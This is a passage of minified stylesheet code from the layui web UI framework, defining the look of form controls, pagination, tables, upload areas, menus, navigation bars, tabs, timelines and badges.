0;color:#fff;color:rgba(255,255,255,0);font-size:20px;text-align:center}.layui-form-checkbox:hover i{border-color:#c2c2c2;color:#c2c2c2}.layui-form-checked,.layui-form-checked:hover{border-color:#16b777}.layui-form-checked span,.layui-form-checked:hover span{background-color:#16b777}.layui-form-checked i,.layui-form-checked:hover i{color:#16b777}.layui-form-item .layui-form-checkbox{margin-top:4px}.layui-form-checkbox[lay-skin=primary]{height:auto!important;line-height:normal!important;min-width:18px;min-height:18px;border:none!important;margin-right:0;padding-left:28px;padding-right:0;background:0 0}.layui-form-checkbox[lay-skin=primary] span{padding-left:0;padding-right:15px;line-height:18px;background:0 0;color:#5f5f5f}.layui-form-checkbox[lay-skin=primary] i{right:auto;left:0;width:16px;height:16px;line-height:16px;border:1px solid #d2d2d2;font-size:12px;border-radius:2px;background-color:#fff;-webkit-transition:.1s linear;transition:.1s linear}.layui-form-checkbox[lay-skin=primary]:hover i{border-color:#16b777;color:#fff}.layui-form-checked[lay-skin=primary] i{border-color:#16b777!important;background-color:#16b777;color:#fff}.layui-checkbox-disabled[lay-skin=primary] span{background:0 0!important;color:#c2c2c2!important}.layui-form-checked.layui-checkbox-disabled[lay-skin=primary] i{background:#eee!important;border-color:#eee!important}.layui-checkbox-disabled[lay-skin=primary]:hover i{border-color:#d2d2d2}.layui-form-item .layui-form-checkbox[lay-skin=primary]{margin-top:10px}.layui-form-checkbox[lay-skin=primary] .layui-icon-indeterminate:before{content:'';display:inline-block;vertical-align:middle;position:relative;width:50%;height:1px;margin:-1px auto 0;background-color:#d2d2d2}.layui-form-checkbox[lay-skin=primary]:hover .layui-icon-indeterminate:before{background-color:#16b777}.layui-form-switch{position:relative;display:inline-block;vertical-align:middle;height:22px;line-height:22px;min-width:35px;padding:0 5px;margin-top:8px;border:1px solid #d2d2d2;border-radius:20px;cursor:pointer;background-color:#fff;-webkit-transition:.1s linear;transition:.1s linear}.layui-form-switch i{position:absolute;left:5px;top:3px;width:16px;height:16px;border-radius:20px;background-color:#d2d2d2;-webkit-transition:.1s linear;transition:.1s linear}.layui-form-switch em{position:relative;top:0;width:25px;margin-left:21px;padding:0!important;text-align:center!important;color:#999!important;font-style:normal!important;font-size:12px}.layui-form-onswitch{border-color:#16b777;background-color:#16b777}.layui-form-onswitch i{left:100%;margin-left:-21px;background-color:#fff}.layui-form-onswitch em{margin-left:5px;margin-right:21px;color:#fff!important}.layui-checkbox-disabled{border-color:#eee!important}.layui-checkbox-disabled span{background-color:#eee!important}.layui-checkbox-disabled i{border-color:#eee!important}.layui-checkbox-disabled em{color:#d2d2d2!important}.layui-checkbox-disabled:hover i{color:#fff!important}[lay-radio]{display:none}.layui-form-radio{display:inline-block;vertical-align:middle;line-height:28px;margin:6px 10px 0 0;padding-right:10px;cursor:pointer;font-size:0}.layui-form-radio *{display:inline-block;vertical-align:middle;font-size:14px}.layui-form-radio>i{margin-right:8px;font-size:22px;color:#c2c2c2}.layui-form-radio:hover *,.layui-form-radioed,.layui-form-radioed>i{color:#16b777}.layui-radio-disabled>i{color:#eee!important}.layui-radio-disabled *{color:#c2c2c2!important}.layui-form-pane .layui-form-label{width:110px;padding:8px 15px;height:38px;line-height:20px;border-width:1px;border-style:solid;border-radius:2px 0 0 2px;text-align:center;background-color:#fafafa;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;box-sizing:border-box}.layui-form-pane .layui-input-inline{margin-left:-1px}.layui-form-pane .layui-input-block{margin-left:110px;left:-1px}.layui-form-pane .layui-input{border-radius:0 2px 2px 0}.layui-form-pane .layui-form-text .layui-form-label{float:none;width:100%;border-radius:2px;box-sizing:border-box;text-align:left}.layui-form-pane .layui-form-text .layui-input-inline{display:block;margin:0;top:-1px;clear:both}.layui-form-pane .layui-form-text .layui-input-block{margin:0;left:0;top:-1px}.layui-form-pane .layui-form-text .layui-textarea{min-height:100px;border-radius:0 0 2px 2px}.layui-form-pane .layui-form-checkbox{margin:4px 0 4px 10px}.layui-form-pane .layui-form-radio,.layui-form-pane .layui-form-switch{margin-top:6px;margin-left:10px}.layui-form-pane .layui-form-item[pane]{position:relative;border-width:1px;border-style:solid}.layui-form-pane .layui-form-item[pane] .layui-form-label{position:absolute;left:0;top:0;height:100%;border-width:0;border-right-width:1px}.layui-form-pane .layui-form-item[pane] .layui-input-inline{margin-left:110px}@media screen and (max-width:450px){.layui-form-item .layui-form-label{text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.layui-form-item .layui-inline{display:block;margin-right:0;margin-bottom:20px;clear:both}.layui-form-item .layui-inline:after{content:'\\20';clear:both;display:block;height:0}.layui-form-item .layui-input-inline{display:block;float:none;left:-3px;width:auto!important;margin:0 0 10px 112px}.layui-form-item .layui-input-inline+.layui-form-mid{margin-left:110px;top:-5px;padding:0}.layui-form-item .layui-form-checkbox{margin-right:5px;margin-bottom:5px}}.layui-laypage{display:inline-block;*display:inline;*zoom:1;vertical-align:middle;margin:10px 0;font-size:0}.layui-laypage>a:first-child,.layui-laypage>a:first-child em{border-radius:2px 0 0 2px}.layui-laypage>a:last-child,.layui-laypage>a:last-child em{border-radius:0 2px 2px 0}.layui-laypage>:first-child{margin-left:0!important}.layui-laypage>:last-child{margin-right:0!important}.layui-laypage a,.layui-laypage button,.layui-laypage input,.layui-laypage select,.layui-laypage span{border:1px solid #eee}.layui-laypage a,.layui-laypage span{display:inline-block;*display:inline;*zoom:1;vertical-align:middle;padding:0 15px;height:28px;line-height:28px;margin:0 -1px 5px 0;background-color:#fff;color:#333;font-size:12px}.layui-laypage a[data-page]{color:#333}.layui-laypage a{text-decoration:none!important;cursor:pointer}.layui-laypage a:hover{color:#16baaa}.layui-laypage em{font-style:normal}.layui-laypage .layui-laypage-spr{color:#999;font-weight:700}.layui-laypage .layui-laypage-curr{position:relative}.layui-laypage .layui-laypage-curr em{position:relative;color:#fff}.layui-laypage .layui-laypage-curr .layui-laypage-em{position:absolute;left:-1px;top:-1px;padding:1px;width:100%;height:100%;background-color:#16baaa}.layui-laypage-em{border-radius:2px}.layui-laypage-next em,.layui-laypage-prev em{font-family:Sim sun;font-size:16px}.layui-laypage .layui-laypage-count,.layui-laypage .layui-laypage-limits,.layui-laypage .layui-laypage-refresh,.layui-laypage .layui-laypage-skip{margin-left:10px;margin-right:10px;padding:0;border:none}.layui-laypage .layui-laypage-limits,.layui-laypage .layui-laypage-refresh{vertical-align:top}.layui-laypage .layui-laypage-refresh i{font-size:18px;cursor:pointer}.layui-laypage select{height:22px;padding:3px;border-radius:2px;cursor:pointer}.layui-laypage .layui-laypage-skip{height:30px;line-height:30px;color:#999}.layui-laypage button,.layui-laypage input{height:30px;line-height:30px;border-radius:2px;vertical-align:top;background-color:#fff;box-sizing:border-box}.layui-laypage input{display:inline-block;width:40px;margin:0 10px;padding:0 3px;text-align:center}.layui-laypage input:focus,.layui-laypage select:focus{border-color:#16baaa!important}.layui-laypage button{margin-left:10px;padding:0 10px;cursor:pointer}.layui-flow-more{margin:10px 0;text-align:center;color:#999;font-size:14px;clear:both}.layui-flow-more a{height:32px;line-height:32px}.layui-flow-more a *{display:inline-block;vertical-align:top}.layui-flow-more a cite{padding:0 20px;border-radius:3px;background-color:#eee;color:#333;font-style:normal}.layui-flow-more a cite:hover{opacity:.8}.layui-flow-more a i{font-size:30px;color:#737383}.layui-table{width:100%;margin:10px 0;background-color:#fff;color:#5f5f5f}.layui-table tr{transition:all .3s;-webkit-transition:all .3s}.layui-table th{text-align:left;font-weight:600}.layui-table-mend{background-color:#fff}.layui-table-click,.layui-table-hover,.layui-table[lay-even] tbody tr:nth-child(even){background-color:#f8f8f8}.layui-table td,.layui-table th,.layui-table-col-set,.layui-table-fixed-r,.layui-table-grid-down,.layui-table-header,.layui-table-mend,.layui-table-page,.layui-table-tips-main,.layui-table-tool,.layui-table-total,.layui-table-view,.layui-table[lay-skin=line],.layui-table[lay-skin=row]{border-width:1px;border-style:solid;border-color:#eee}.layui-table td,.layui-table th{position:relative;padding:9px 15px;min-height:20px;line-height:20px;font-size:14px}.layui-table[lay-skin=line] td,.layui-table[lay-skin=line] th{border-width:0;border-bottom-width:1px}.layui-table[lay-skin=row] td,.layui-table[lay-skin=row] th{border-width:0;border-right-width:1px}.layui-table[lay-skin=nob] td,.layui-table[lay-skin=nob] th{border:none}.layui-table img{max-width:100px}.layui-table[lay-size=lg] td,.layui-table[lay-size=lg] th{padding-top:15px;padding-right:30px;padding-bottom:15px;padding-left:30px}.layui-table-view .layui-table[lay-size=lg] .layui-table-cell{height:50px;line-height:40px}.layui-table[lay-size=sm] td,.layui-table[lay-size=sm] th{padding-top:5px;padding-right:10px;padding-bottom:5px;padding-left:10px;font-size:12px}.layui-table-view .layui-table[lay-size=sm] .layui-table-cell{height:30px;line-height:20px;padding-top:5px;padding-left:11px;padding-right:11px}.layui-table[lay-data],.layui-table[lay-options]{display:none}.layui-table-box{position:relative;overflow:hidden}.layui-table-view{clear:both}.layui-table-view .layui-table{position:relative;width:auto;margin:0;border:0;border-collapse:separate}.layui-table-view .layui-table[lay-skin=line]{border-width:0;border-right-width:1px}.layui-table-view .layui-table[lay-skin=row]{border-width:0;border-bottom-width:1px}.layui-table-view .layui-table td,.layui-table-view .layui-table th{padding:0;border-top:none;border-left:none}.layui-table-view .layui-table th.layui-unselect .layui-table-cell span{cursor:pointer}.layui-table-view .layui-table td{cursor:default}.layui-table-view .layui-table td[data-edit]{cursor:text}.layui-table-view .layui-table td[data-edit]:hover:after{position:absolute;left:0;top:0;width:100%;height:100%;box-sizing:border-box;border:1px solid #16b777;pointer-events:none;content:\"\"}.layui-table-view .layui-form-checkbox[lay-skin=primary] i{width:18px;height:18px}.layui-table-view .layui-form-radio{line-height:0;padding:0}.layui-table-view .layui-form-radio>i{margin:0;font-size:20px}.layui-table-init{position:absolute;left:0;top:0;width:100%;height:100%;text-align:center;z-index:199}.layui-table-init .layui-icon{position:absolute;left:50%;top:50%;margin:-15px 0 0 -15px;font-size:30px;color:#c2c2c2}.layui-table-header{border-width:0;border-bottom-width:1px;overflow:hidden}.layui-table-header .layui-table{margin-bottom:-1px}.layui-table-column{position:relative;width:100%;min-height:41px;padding:8px 16px;border-width:0;border-bottom-width:1px}.layui-table-column .layui-btn-container{margin-bottom:-8px}.layui-table-column .layui-btn-container .layui-btn{margin-right:8px;margin-bottom:8px}.layui-table-tool .layui-inline[lay-event]{position:relative;width:26px;height:26px;padding:5px;line-height:16px;margin-right:10px;text-align:center;color:#333;border:1px solid #ccc;cursor:pointer;-webkit-transition:.5s all;transition:.5s all}.layui-table-tool .layui-inline[lay-event]:hover{border:1px solid #999}.layui-table-tool-temp{padding-right:120px}.layui-table-tool-self{position:absolute;right:17px;top:10px}.layui-table-tool .layui-table-tool-self .layui-inline[lay-event]{margin:0 0 0 10px}.layui-table-tool-panel{position:absolute;top:29px;left:-1px;z-index:399;padding:5px 0!important;min-width:150px;min-height:40px;border:1px solid #d2d2d2;text-align:left;overflow-y:auto;background-color:#fff;box-shadow:0 2px 4px rgba(0,0,0,.12)}.layui-table-tool-panel li{padding:0 10px;margin:0!important;line-height:30px;list-style-type:none!important;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;-webkit-transition:.5s all;transition:.5s all}.layui-table-tool-panel li .layui-form-checkbox[lay-skin=primary]{width:100%}.layui-table-tool-panel li:hover{background-color:#f8f8f8}.layui-table-tool-panel li .layui-form-checkbox[lay-skin=primary]{padding-left:28px}.layui-table-tool-panel li .layui-form-checkbox[lay-skin=primary] i{position:absolute;left:0;top:0}.layui-table-tool-panel li .layui-form-checkbox[lay-skin=primary] span{padding:0}.layui-table-tool .layui-table-tool-self .layui-table-tool-panel{left:auto;right:-1px}.layui-table-col-set{position:absolute;right:0;top:0;width:20px;height:100%;border-width:0;border-left-width:1px;background-color:#fff}.layui-table-sort{width:10px;height:20px;margin-left:5px;cursor:pointer!important}.layui-table-sort .layui-edge{position:absolute;left:5px;border-width:5px}.layui-table-sort .layui-table-sort-asc{top:3px;border-top:none;border-bottom-style:solid;border-bottom-color:#b2b2b2}.layui-table-sort .layui-table-sort-asc:hover{border-bottom-color:#5f5f5f}.layui-table-sort .layui-table-sort-desc{bottom:5px;border-bottom:none;border-top-style:solid;border-top-color:#b2b2b2}.layui-table-sort .layui-table-sort-desc:hover{border-top-color:#5f5f5f}.layui-table-sort[lay-sort=asc] .layui-table-sort-asc{border-bottom-color:#000}.layui-table-sort[lay-sort=desc] .layui-table-sort-desc{border-top-color:#000}.layui-table-cell{height:38px;line-height:28px;padding:6px 15px;position:relative;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;box-sizing:border-box}.layui-table-cell .layui-form-checkbox[lay-skin=primary]{top:-1px;padding:0}.layui-table-cell .layui-table-link{color:#01aaed}.layui-table-cell .layui-btn{vertical-align:inherit}.layui-table-cell[align=center]{-webkit-box-pack:center}.layui-table-cell[align=right]{-webkit-box-pack:end}.laytable-cell-checkbox,.laytable-cell-numbers,.laytable-cell-radio,.laytable-cell-space{text-align:center;-webkit-box-pack:center}.layui-table-body{position:relative;overflow:auto;margin-right:-1px;margin-bottom:-1px}.layui-table-body .layui-none{line-height:26px;padding:30px 15px;text-align:center;color:#999}.layui-table-fixed{position:absolute;left:0;top:0;z-index:101}.layui-table-fixed .layui-table-body{overflow:hidden}.layui-table-fixed-l{box-shadow:1px 0 8px rgba(0,0,0,.08)}.layui-table-fixed-r{left:auto;right:-1px;border-width:0;border-left-width:1px;box-shadow:-1px 0 8px rgba(0,0,0,.08)}.layui-table-fixed-r .layui-table-header{position:relative;overflow:visible}.layui-table-mend{position:absolute;right:-49px;top:0;height:100%;width:50px;border-width:0;border-left-width:1px}.layui-table-tool{position:relative;width:100%;min-height:50px;line-height:30px;padding:10px 15px;border-width:0;border-bottom-width:1px}.layui-table-tool .layui-btn-container{margin-bottom:-10px}.layui-table-total{margin-bottom:-1px;border-width:0;border-top-width:1px;overflow:hidden}.layui-table-page{border-width:0;border-top-width:1px;margin-bottom:-1px;white-space:nowrap;overflow:hidden}.layui-table-page>div{height:26px}.layui-table-page .layui-laypage{margin:0}.layui-table-page .layui-laypage a,.layui-table-page .layui-laypage span{height:26px;line-height:26px;margin-bottom:10px;border:none;background:0 0}.layui-table-page .layui-laypage a,.layui-table-page .layui-laypage span.layui-laypage-curr{padding:0 12px}.layui-table-page .layui-laypage span{margin-left:0;padding:0}.layui-table-page .layui-laypage .layui-laypage-prev{margin-left:-11px!important}.layui-table-page .layui-laypage .layui-laypage-curr .layui-laypage-em{left:0;top:0;padding:0}.layui-table-page .layui-laypage button,.layui-table-page .layui-laypage input{height:26px;line-height:26px}.layui-table-page .layui-laypage input{width:40px}.layui-table-page .layui-laypage button{padding:0 10px}.layui-table-page select{height:18px}.layui-table-pagebar{float:right;line-height:23px}.layui-table-pagebar .layui-btn-sm{margin-top:-1px}.layui-table-pagebar .layui-btn-xs{margin-top:2px}.layui-table-view select[lay-ignore]{display:inline-block}.layui-table-patch .layui-table-cell{padding:0;width:30px}.layui-table-edit{position:absolute;left:0;top:0;z-index:189;min-width:100%;min-height:100%;padding:5px 14px;border-radius:0;box-shadow:1px 1px 20px rgba(0,0,0,.15);background-color:#fff}.layui-table-edit:focus{border-color:#16b777!important}input.layui-input.layui-table-edit{height:100%}select.layui-table-edit{padding:0 0 0 10px;border-color:#d2d2d2}.layui-table-view .layui-form-checkbox,.layui-table-view .layui-form-radio,.layui-table-view .layui-form-switch{top:0;margin:0;box-sizing:content-box}.layui-table-view .layui-form-checkbox{top:-1px;height:26px;line-height:26px}.layui-table-view .layui-form-checkbox i{height:26px}.layui-table-grid .layui-table-cell{overflow:visible}.layui-table-grid-down{position:absolute;top:0;right:0;width:26px;height:100%;padding:5px 0;border-width:0;border-left-width:1px;text-align:center;background-color:#fff;color:#999;cursor:pointer}.layui-table-grid-down .layui-icon{position:absolute;top:50%;left:50%;margin:-8px 0 0 -8px}.layui-table-grid-down:hover{background-color:#fbfbfb}body .layui-table-tips .layui-layer-content{background:0 0;padding:0;box-shadow:0 1px 6px rgba(0,0,0,.12)}.layui-table-tips-main{margin:-49px 0 0 -1px;max-height:150px;padding:8px 15px;font-size:14px;overflow-y:scroll;background-color:#fff;color:#5f5f5f}.layui-table-tips-c{position:absolute;right:-3px;top:-13px;width:20px;height:20px;padding:3px;cursor:pointer;background-color:#5f5f5f;border-radius:50%;color:#fff}.layui-table-tips-c:hover{background-color:#777}.layui-table-tips-c:before{position:relative;right:-2px}.layui-table-tree-nodeIcon{width:20px}.layui-table-tree-nodeIcon>*{width:100%}.layui-table-tree-flexIcon,.layui-table-tree-nodeIcon{margin-right:2px}.layui-table-tree-flexIcon{cursor:pointer}.layui-upload-file{display:none!important;opacity:.01;filter:Alpha(opacity=1)}.layui-upload-list{margin:11px 0}.layui-upload-choose{max-width:200px;padding:0 10px;color:#999;font-size:14px;text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.layui-upload-drag{position:relative;display:inline-block;padding:30px;border:1px dashed #e2e2e2;background-color:#fff;text-align:center;cursor:pointer;color:#999}.layui-upload-drag .layui-icon{font-size:50px;color:#16baaa}.layui-upload-drag[lay-over]{border-color:#16baaa}.layui-upload-form{display:inline-block}.layui-upload-iframe{position:absolute;width:0;height:0;border:0;visibility:hidden}.layui-upload-wrap{position:relative;display:inline-block;vertical-align:middle}.layui-upload-wrap .layui-upload-file{display:block!important;position:absolute;left:0;top:0;z-index:10;font-size:100px;width:100%;height:100%;opacity:.01;filter:Alpha(opacity=1);cursor:pointer}.layui-btn-container .layui-upload-choose{padding-left:0}.layui-menu{position:relative;margin:5px 0;background-color:#fff;box-sizing:border-box}.layui-menu *{box-sizing:border-box}.layui-menu li,.layui-menu-body-title a{padding:5px 15px;color:initial}.layui-menu li{position:relative;margin:1px 0;width:calc(100% + 1px);line-height:26px;color:rgba(0,0,0,.8);font-size:14px;white-space:nowrap;cursor:pointer;transition:all .3s}.layui-menu li:hover{background-color:#f8f8f8}.layui-menu li.layui-disabled,.layui-menu li.layui-disabled *{background:0 0!important;color:#d2d2d2!important;cursor:not-allowed!important}.layui-menu-item-parent:hover>.layui-menu-body-panel{display:block;animation-name:layui-fadein;animation-duration:.3s;animation-fill-mode:both;animation-delay:.2s}.layui-menu-item-group .layui-menu-body-title,.layui-menu-item-parent .layui-menu-body-title{padding-right:25px}.layui-menu .layui-menu-item-divider:hover,.layui-menu .layui-menu-item-group:hover,.layui-menu .layui-menu-item-none:hover{background:0 0;cursor:default}.layui-menu .layui-menu-item-group>ul{margin:5px 0 -5px}.layui-menu .layui-menu-item-group>.layui-menu-body-title{color:rgba(0,0,0,.35);user-select:none}.layui-menu .layui-menu-item-none{color:rgba(0,0,0,.35);cursor:default}.layui-menu .layui-menu-item-none{text-align:center}.layui-menu .layui-menu-item-divider{margin:5px 0;padding:0;height:0;line-height:0;border-bottom:1px solid #eee;overflow:hidden}.layui-menu .layui-menu-item-down:hover,.layui-menu .layui-menu-item-up:hover{cursor:pointer}.layui-menu .layui-menu-item-up>.layui-menu-body-title{color:rgba(0,0,0,.8)}.layui-menu .layui-menu-item-up>ul{visibility:hidden;height:0;overflow:hidden}.layui-menu .layui-menu-item-down:hover>.layui-menu-body-title>.layui-icon,.layui-menu .layui-menu-item-up>.layui-menu-body-title:hover>.layui-icon{color:#000}.layui-menu .layui-menu-item-down>ul{visibility:visible;height:auto}.layui-menu .layui-menu-item-checked,.layui-menu .layui-menu-item-checked2{background-color:#f8f8f8!important;color:#16b777}.layui-menu .layui-menu-item-checked a,.layui-menu .layui-menu-item-checked2 a{color:#16b777}.layui-menu .layui-menu-item-checked:after{position:absolute;right:0;top:0;bottom:0;border-right:3px solid #16b777;content:\"\"}.layui-menu-body-title{position:relative;overflow:hidden;text-overflow:ellipsis}.layui-menu-body-title a{display:block;margin:-5px -15px;color:rgba(0,0,0,.8)}.layui-menu-body-title a:hover{transition:all .3s}.layui-menu-body-title>.layui-icon{position:absolute;right:0;top:0;font-size:14px}.layui-menu-body-title>.layui-icon:hover{transition:all .3s}.layui-menu-body-title>.layui-icon-right{right:-1px}.layui-menu-body-panel{display:none;position:absolute;top:-7px;left:100%;z-index:1000;margin-left:13px;padding:5px 0}.layui-menu-body-panel:before{content:\"\";position:absolute;width:20px;left:-16px;top:0;bottom:0}.layui-menu-body-panel-left{left:auto;right:100%;margin:0 13px 0}.layui-menu-body-panel-left:before{left:auto;right:-16px}.layui-menu-lg li{line-height:32px}.layui-menu-lg .layui-menu-body-title a:hover,.layui-menu-lg li:hover{background:0 0;color:#16b777}.layui-menu-lg li .layui-menu-body-panel{margin-left:14px}.layui-menu-lg li .layui-menu-body-panel-left{margin:0 15px 0}.layui-dropdown{position:absolute;left:-999999px;top:-999999px;z-index:77777777;margin:5px 0;min-width:100px}.layui-dropdown:before{content:\"\";position:absolute;width:100%;height:6px;left:0;top:-6px}.layui-dropdown-shade{top:0;left:0;width:100%;height:100%;_height:expression(document.body.offsetHeight+\"px\");position:fixed;_position:absolute;pointer-events:auto}.layui-nav{position:relative;padding:0 15px;background-color:#2f363c;color:#fff;border-radius:2px;font-size:0;box-sizing:border-box}.layui-nav *{font-size:14px}.layui-nav .layui-nav-item{position:relative;display:inline-block;*display:inline;*zoom:1;margin-top:0;list-style:none;vertical-align:middle;line-height:60px}.layui-nav .layui-nav-item a{display:block;padding:0 20px;color:#fff;color:rgba(255,255,255,.7);transition:all .3s;-webkit-transition:all .3s}.layui-nav .layui-this:after,.layui-nav-bar{content:\"\";position:absolute;left:0;top:0;width:0;height:3px;background-color:#16b777;transition:all .2s;-webkit-transition:all .2s;pointer-events:none}.layui-nav-bar{z-index:1000}.layui-nav[lay-bar=disabled] .layui-nav-bar{display:none}.layui-nav .layui-nav-item a:hover,.layui-nav .layui-this a{color:#fff;text-decoration:none}.layui-nav .layui-this:after{top:auto;bottom:0;width:100%}.layui-nav-img{width:30px;height:30px;margin-right:10px;border-radius:50%}.layui-nav .layui-nav-more{position:absolute;top:0;right:3px;left:auto!important;margin-top:0;font-size:12px;cursor:pointer;transition:all .2s;-webkit-transition:all .2s}.layui-nav .layui-nav-mored,.layui-nav-itemed>a .layui-nav-more{transform:rotate(180deg)}.layui-nav-child{display:none;position:absolute;left:0;top:65px;min-width:100%;line-height:36px;padding:5px 0;box-shadow:0 2px 4px rgba(0,0,0,.12);border:1px solid #eee;background-color:#fff;z-index:100;border-radius:2px;white-space:nowrap;box-sizing:border-box}.layui-nav .layui-nav-child a{color:#5f5f5f;color:rgba(0,0,0,.8)}.layui-nav .layui-nav-child a:hover{background-color:#f8f8f8;color:rgba(0,0,0,.8)}.layui-nav-child dd{margin:1px 0;position:relative}.layui-nav-child dd.layui-this{background-color:#f8f8f8;color:#000}.layui-nav-child dd.layui-this:after{display:none}.layui-nav-child-r{left:auto;right:0}.layui-nav-child-c{text-align:center}.layui-nav.layui-nav-tree{width:200px;padding:0}.layui-nav-tree .layui-nav-item{display:block;width:100%;line-height:40px}.layui-nav-tree .layui-nav-item a{position:relative;height:40px;line-height:40px;text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.layui-nav-tree .layui-nav-item>a{padding-top:5px;padding-bottom:5px}.layui-nav-tree .layui-nav-more{right:15px}.layui-nav-tree .layui-nav-item>a .layui-nav-more{padding:5px 0}.layui-nav-tree .layui-nav-bar{width:5px;height:0}.layui-side .layui-nav-tree .layui-nav-bar{width:2px}.layui-nav-tree .layui-nav-child dd.layui-this,.layui-nav-tree .layui-nav-child dd.layui-this a,.layui-nav-tree .layui-this,.layui-nav-tree .layui-this>a,.layui-nav-tree .layui-this>a:hover{background-color:#16baaa;color:#fff}.layui-nav-tree .layui-this:after{display:none}.layui-nav-itemed>a,.layui-nav-tree .layui-nav-title a,.layui-nav-tree .layui-nav-title a:hover{color:#fff!important}.layui-nav-tree .layui-nav-bar{background-color:#16baaa}.layui-nav-tree .layui-nav-child{position:relative;z-index:0;top:0;border:none;box-shadow:none}.layui-nav-tree .layui-nav-child dd{margin:0}.layui-nav-tree .layui-nav-child a{color:#fff;color:rgba(255,255,255,.7)}.layui-nav-tree .layui-nav-child,.layui-nav-tree .layui-nav-child a:hover{background:0 0;color:#fff}.layui-nav-itemed>.layui-nav-child{display:block;background-color:rgba(0,0,0,.3)!important}.layui-nav-itemed>.layui-nav-child>.layui-this>.layui-nav-child{display:block}.layui-nav-side{position:fixed;top:0;bottom:0;left:0;overflow-x:hidden;z-index:999}.layui-nav-tree.layui-bg-gray a,.layui-nav.layui-bg-gray .layui-nav-item a{color:rgba(0,0,0,.8)}.layui-nav-tree.layui-bg-gray{padding:6px 0}.layui-nav-tree.layui-bg-gray .layui-nav-itemed>a{color:#000!important}.layui-nav.layui-bg-gray .layui-this a{color:#16b777}.layui-nav-tree.layui-bg-gray .layui-nav-itemed>.layui-nav-child{padding-left:11px;background:0 0!important}.layui-nav-tree.layui-bg-gray .layui-nav-item>a{padding-top:0;padding-bottom:0}.layui-nav-tree.layui-bg-gray .layui-nav-item>a .layui-nav-more{padding:0}.layui-nav-tree.layui-bg-gray .layui-nav-child dd.layui-this,.layui-nav-tree.layui-bg-gray .layui-nav-child dd.layui-this a,.layui-nav-tree.layui-bg-gray .layui-this,.layui-nav-tree.layui-bg-gray .layui-this>a{background:0 0!important;color:#16b777!important;font-weight:700}.layui-nav-tree.layui-bg-gray .layui-nav-bar{background-color:#16b777}.layui-breadcrumb{visibility:hidden;font-size:0}.layui-breadcrumb>*{font-size:14px}.layui-breadcrumb a{color:#999!important}.layui-breadcrumb a:hover{color:#16b777!important}.layui-breadcrumb a cite{color:#5f5f5f;font-style:normal}.layui-breadcrumb span[lay-separator]{margin:0 10px;color:#999}.layui-tab{margin:10px 0;text-align:left!important}.layui-tab[overflow]>.layui-tab-title{overflow:hidden}.layui-tab .layui-tab-title{position:relative;left:0;height:40px;white-space:nowrap;font-size:0;border-bottom-width:1px;border-bottom-style:solid;transition:all .2s;-webkit-transition:all .2s}.layui-tab .layui-tab-title li{display:inline-block;*display:inline;*zoom:1;vertical-align:middle;font-size:14px;transition:all .2s;-webkit-transition:all .2s}.layui-tab .layui-tab-title li{position:relative;line-height:40px;min-width:65px;margin:0;padding:0 15px;text-align:center;cursor:pointer}.layui-tab .layui-tab-title li a{display:block;padding:0 15px;margin:0 -15px}.layui-tab-title .layui-this{color:#000}.layui-tab-title .layui-this:after{position:absolute;left:0;top:0;content:\"\";width:100%;height:41px;border-width:1px;border-style:solid;border-bottom-color:#fff;border-radius:2px 2px 0 0;box-sizing:border-box;pointer-events:none}.layui-tab-bar{position:absolute;right:0;top:0;z-index:10;width:30px;height:39px;line-height:39px;border-width:1px;border-style:solid;border-radius:2px;text-align:center;background-color:#fff;cursor:pointer}.layui-tab-bar .layui-icon{position:relative;display:inline-block;top:3px;transition:all .3s;-webkit-transition:all .3s}.layui-tab-item{display:none}.layui-tab-more{padding-right:30px;height:auto!important;white-space:normal!important}.layui-tab-more li.layui-this:after{border-bottom-color:#eee;border-radius:2px}.layui-tab-more .layui-tab-bar .layui-icon{top:-2px;top:3px\\0;-webkit-transform:rotate(180deg);transform:rotate(180deg)}:root .layui-tab-more .layui-tab-bar .layui-icon{top:-2px\\0/IE9}.layui-tab-content{padding:15px 0}.layui-tab-title li .layui-tab-close{position:relative;display:inline-block;width:18px;height:18px;line-height:20px;margin-left:8px;top:1px;text-align:center;font-size:14px;color:#c2c2c2;transition:all .2s;-webkit-transition:all .2s}.layui-tab-title li .layui-tab-close:hover{border-radius:2px;background-color:#ff5722;color:#fff}.layui-tab-brief>.layui-tab-title .layui-this{color:#16baaa}.layui-tab-brief>.layui-tab-more li.layui-this:after,.layui-tab-brief>.layui-tab-title .layui-this:after{border:none;border-radius:0;border-bottom:2px solid #16b777}.layui-tab-brief[overflow]>.layui-tab-title .layui-this:after{top:-1px}.layui-tab-card{border-width:1px;border-style:solid;border-radius:2px;box-shadow:0 2px 5px 0 rgba(0,0,0,.1)}.layui-tab-card>.layui-tab-title{background-color:#fafafa}.layui-tab-card>.layui-tab-title li{margin-right:-1px;margin-left:-1px}.layui-tab-card>.layui-tab-title .layui-this{background-color:#fff}.layui-tab-card>.layui-tab-title .layui-this:after{border-top:none;border-width:1px;border-bottom-color:#fff}.layui-tab-card>.layui-tab-title .layui-tab-bar{height:40px;line-height:40px;border-radius:0;border-top:none;border-right:none}.layui-tab-card>.layui-tab-more .layui-this{background:0 0;color:#16b777}.layui-tab-card>.layui-tab-more .layui-this:after{border:none}.layui-timeline{padding-left:5px}.layui-timeline-item{position:relative;padding-bottom:20px}.layui-timeline-axis{position:absolute;left:-5px;top:0;z-index:10;width:20px;height:20px;line-height:20px;background-color:#fff;color:#16b777;border-radius:50%;text-align:center;cursor:pointer}.layui-timeline-axis:hover{color:#ff5722}.layui-timeline-item:before{content:\"\";position:absolute;left:5px;top:0;z-index:0;width:1px;height:100%}.layui-timeline-item:first-child:before{display:block}.layui-timeline-item:last-child:before{display:none}.layui-timeline-content{padding-left:25px}.layui-timeline-title{position:relative;margin-bottom:10px;line-height:22px}.layui-badge,.layui-badge-dot,.layui-badge-rim{position:relative;display:inline-block;padding:0 6px;font-size:12px;text-align:center;background-color:#ff5722;color:#fff;border-radius:2px}.layui-badge{height:18px;line-height:18px}.layui-badge-dot{width:8px;height:8px;padding:0;border-radius:50%}.layui-badge-rim{height:18px;line-height:18px;border-width:1px;border-style:solid;background-color:#fff;color:#5f5f5f}.layui-btn .layui-badge,.layui-btn .layui-badge-dot{margin-left:5px}.layui-nav .layui-badge,.layui-nav .layui-badge-dot{position:absolute;top:50%;margin:-5px 6px 0}.layui-nav .layui-badge{margin-top:-10px}.layui-tab-title .layui-badge,.layui-tab-title 